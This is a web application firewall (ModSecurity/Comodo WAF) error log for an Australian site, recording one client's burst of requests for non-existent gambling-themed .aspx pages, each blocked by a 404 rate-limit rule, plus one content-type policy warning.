[Tue Apr 14 13:12:55.695363 2026] [:error] [pid 35628:tid 35654] [client 147.135.214.166:45276] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "ad3M1-fPm-ozGuwCWXLPWgAAABY"]
[Tue Apr 14 13:12:58.203620 2026] [:error] [pid 18776:tid 18784] [client 147.135.214.166:45280] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "ad3M2sIjIcAYZxezzAWbugAAAcY"]
[Tue Apr 14 13:13:00.807560 2026] [:error] [pid 35630:tid 35698] [client 147.135.214.166:45294] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ad3M3Der0pVFxOiOauX2jQAAAIw"]
[Tue Apr 14 13:13:03.207763 2026] [:error] [pid 35630:tid 35699] [client 147.135.214.166:45306] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ad3M3zer0pVFxOiOauX2kgAAAI0"]
[Tue Apr 14 13:13:05.832334 2026] [:error] [pid 35630:tid 35700] [client 147.135.214.166:50028] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ad3M4Ter0pVFxOiOauX2mQAAAI4"]
[Tue Apr 14 13:13:08.420961 2026] [:error] [pid 35630:tid 35691] [client 147.135.214.166:50042] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ad3M5Der0pVFxOiOauX2nQAAAIU"]
[Tue Apr 14 13:13:11.129013 2026] [:error] [pid 35630:tid 35690] [client 147.135.214.166:50046] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ad3M5zer0pVFxOiOauX2ogAAAIQ"]
[Tue Apr 14 13:13:13.681922 2026] [:error] [pid 35713:tid 35722] [client 147.135.214.166:50048] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ad3M6a6-hhx6ZepqOSlQ8AAAAMY"]
[Tue Apr 14 13:13:16.311710 2026] [:error] [pid 35713:tid 35734] [client 147.135.214.166:45924] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ad3M7K6-hhx6ZepqOSlQ8QAAANI"]
[Tue Apr 14 13:13:18.748479 2026] [:error] [pid 18776:tid 18784] [client 147.135.214.166:45928] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ad3M7sIjIcAYZxezzAWbzgAAAcY"]
[Tue Apr 14 13:13:21.289747 2026] [:error] [pid 4902:tid 4912] [client 147.135.214.166:45936] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ad3M8Yv8vJvl9lGy39hZvwAAAYg"]
[Tue Apr 14 13:13:23.822647 2026] [:error] [pid 35629:tid 35670] [client 147.135.214.166:45946] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ad3M8zY8VahzC1YJBSjjtgAAAEs"]
[Tue Apr 14 13:13:26.489570 2026] [:error] [pid 35630:tid 35703] [client 147.135.214.166:57994] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ad3M9jer0pVFxOiOauX2tAAAAJE"]
[Tue Apr 14 13:13:29.159170 2026] [:error] [pid 18776:tid 18790] [client 147.135.214.166:58006] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ad3M-cIjIcAYZxezzAWb1QAAAcw"]
[Tue Apr 14 13:13:31.682236 2026] [:error] [pid 37048:tid 37052] [client 147.135.214.166:58014] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ad3M-552Bo1OyzeXo_zcxQAAAQI"]
[Tue Apr 14 13:13:34.130781 2026] [:error] [pid 35628:tid 35632] [client 147.135.214.166:58020] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ad3M_ufPm-ozGuwCWXLPegAAAAA"]
[Tue Apr 14 13:13:36.719832 2026] [:error] [pid 4902:tid 4927] [client 147.135.214.166:39176] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ad3NAIv8vJvl9lGy39hZywAAAZc"]
[Tue Apr 14 13:13:39.295130 2026] [:error] [pid 37048:tid 37057] [client 147.135.214.166:39184] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ad3NA552Bo1OyzeXo_zcxgAAAQc"]
[Tue Apr 14 13:13:41.727596 2026] [:error] [pid 37048:tid 37065] [client 147.135.214.166:39192] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ad3NBZ52Bo1OyzeXo_zczQAAAQ8"]
[Tue Apr 14 13:14:25.483420 2026] [:error] [pid 35630:tid 35706] [client 147.135.214.166:39204] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "ad3NMTer0pVFxOiOauX25AAAAJQ"]
[Tue Apr 14 13:14:27.859893 2026] [:error] [pid 37226:tid 37236] [client 147.135.214.166:41862] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "ad3NM5OA5-IQ0IVmQColtQAAAUg"]
[Tue Apr 14 13:14:30.580124 2026] [:error] [pid 35629:tid 35673] [client 147.135.214.166:41878] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "ad3NNjY8VahzC1YJBSjkWAAAAE4"]
[Tue Apr 14 13:14:32.970513 2026] [:error] [pid 35629:tid 35678] [client 147.135.214.166:41884] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "ad3NODY8VahzC1YJBSjkYgAAAFM"]
[Tue Apr 14 13:14:35.520719 2026] [:error] [pid 35628:tid 35651] [client 147.135.214.166:41898] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "ad3NO-fPm-ozGuwCWXLPqQAAABM"]
[Tue Apr 14 13:14:37.832689 2026] [:error] [pid 35628:tid 35652] [client 147.135.214.166:58434] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "ad3NPefPm-ozGuwCWXLPsgAAABQ"]
[Tue Apr 14 13:14:40.302141 2026] [:error] [pid 35628:tid 35649] [client 147.135.214.166:58440] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "ad3NQOfPm-ozGuwCWXLPtQAAABE"]
[Tue Apr 14 13:14:42.770709 2026] [:error] [pid 35629:tid 35662] [client 147.135.214.166:58442] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ad3NQjY8VahzC1YJBSjkeQAAAEM"]
[Tue Apr 14 13:14:45.185732 2026] [:error] [pid 4902:tid 4928] [client 147.135.214.166:58450] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ad3NRYv8vJvl9lGy39haPQAAAZg"]
[Tue Apr 14 13:14:47.636848 2026] [:error] [pid 37226:tid 37229] [client 147.135.214.166:40740] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ad3NR5OA5-IQ0IVmQColugAAAUE"]
[Tue Apr 14 13:14:50.081560 2026] [:error] [pid 18776:tid 18783] [client 147.135.214.166:40752] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ad3NSsIjIcAYZxezzAWb_AAAAcU"]
[Tue Apr 14 13:14:52.403553 2026] [:error] [pid 35629:tid 35666] [client 147.135.214.166:40758] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ad3NTDY8VahzC1YJBSjknAAAAEc"]
[Tue Apr 14 13:14:55.014832 2026] [:error] [pid 35630:tid 35689] [client 147.135.214.166:40760] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ad3NTzer0pVFxOiOauX3FwAAAIM"]
[Tue Apr 14 13:14:57.626656 2026] [:error] [pid 35629:tid 35663] [client 147.135.214.166:58294] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ad3NUTY8VahzC1YJBSjkzAAAAEQ"]
[Tue Apr 14 13:15:00.085044 2026] [:error] [pid 35630:tid 35690] [client 147.135.214.166:58310] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ad3NVDer0pVFxOiOauX3HAAAAIQ"]
[Tue Apr 14 13:15:02.635111 2026] [:error] [pid 35630:tid 35695] [client 147.135.214.166:58312] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ad3NVjer0pVFxOiOauX3IAAAAIk"]
[Tue Apr 14 13:15:05.237024 2026] [:error] [pid 18776:tid 18795] [client 147.135.214.166:58324] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "ad3NWcIjIcAYZxezzAWcBwAAAdE"]
[Tue Apr 14 13:15:07.595820 2026] [:error] [pid 35630:tid 35706] [client 147.135.214.166:43314] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "ad3NWzer0pVFxOiOauX3KAAAAJQ"]
[Tue Apr 14 13:15:10.198216 2026] [:error] [pid 35630:tid 35692] [client 147.135.214.166:43326] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20pg%201688.aspx"] [unique_id "ad3NXjer0pVFxOiOauX3MgAAAIY"]
[Tue Apr 14 13:15:12.714704 2026] [:error] [pid 35713:tid 35726] [client 147.135.214.166:43342] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "ad3NYK6-hhx6ZepqOSlRSAAAAMo"]
[Tue Apr 14 13:15:15.012694 2026] [:error] [pid 35713:tid 35730] [client 147.135.214.166:43350] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "ad3NY66-hhx6ZepqOSlRTQAAAM4"]
[Tue Apr 14 13:15:17.483900 2026] [:error] [pid 35628:tid 35641] [client 147.135.214.166:34652] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "ad3NZefPm-ozGuwCWXLP4QAAAAk"]
[Tue Apr 14 13:15:19.865835 2026] [:error] [pid 18776:tid 18799] [client 147.135.214.166:34656] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "ad3NZ8IjIcAYZxezzAWcCwAAAdU"]
[Tue Apr 14 13:16:01.828138 2026] [:error] [pid 35630:tid 35705] [client 147.135.214.166:34672] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%207777.aspx"] [unique_id "ad3NkTer0pVFxOiOauX3ZwAAAJM"]
[Tue Apr 14 13:16:04.249137 2026] [:error] [pid 37226:tid 37234] [client 147.135.214.166:47128] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "ad3NlJOA5-IQ0IVmQCol0AAAAUY"]
[Tue Apr 14 13:16:06.751963 2026] [:error] [pid 35713:tid 35740] [client 147.135.214.166:51580] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "ad3Nlq6-hhx6ZepqOSlRbQAAANg"]
[Tue Apr 14 13:16:09.057361 2026] [:error] [pid 35628:tid 35649] [client 147.135.214.166:51594] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "ad3NmefPm-ozGuwCWXLQHwAAABE"]
[Tue Apr 14 13:16:11.539986 2026] [:error] [pid 18776:tid 18792] [client 147.135.214.166:51606] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "ad3Nm8IjIcAYZxezzAWcNQAAAc4"]
[Tue Apr 14 13:16:14.005316 2026] [:error] [pid 35630:tid 35693] [client 147.135.214.166:51612] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ad3Nnjer0pVFxOiOauX3dgAAAIc"]
[Tue Apr 14 13:16:16.494412 2026] [:error] [pid 18776:tid 18788] [client 147.135.214.166:52642] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ad3NoMIjIcAYZxezzAWcOAAAAco"]
[Tue Apr 14 13:16:18.984791 2026] [:error] [pid 35713:tid 35717] [client 147.135.214.166:52656] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ad3Noq6-hhx6ZepqOSlRcwAAAME"]
[Tue Apr 14 13:16:21.316208 2026] [:error] [pid 37226:tid 37249] [client 147.135.214.166:52658] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ad3NpZOA5-IQ0IVmQCol1AAAAVU"]
[Tue Apr 14 13:16:23.660674 2026] [:error] [pid 18776:tid 18785] [client 147.135.214.166:52674] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad3Np8IjIcAYZxezzAWcQgAAAcc"]
[Tue Apr 14 13:16:26.134854 2026] [:error] [pid 35630:tid 35698] [client 147.135.214.166:47978] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ad3Nqjer0pVFxOiOauX3fQAAAIw"]
[Tue Apr 14 13:16:28.480706 2026] [:error] [pid 35713:tid 35716] [client 147.135.214.166:47982] [client 147.135.214.166] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "ad3NrK6-hhx6ZepqOSlReAAAAMA"]
[Tue Apr 14 14:04:51.099070 2026] [:error] [pid 18776:tid 18791] [client 198.98.49.140:38738] [client 198.98.49.140] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||vetstars.com.au|F|2"] [data "TX:0=application/qwik-json"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ad3ZA8IjIcAYZxezzAWoPwAAAc0"]
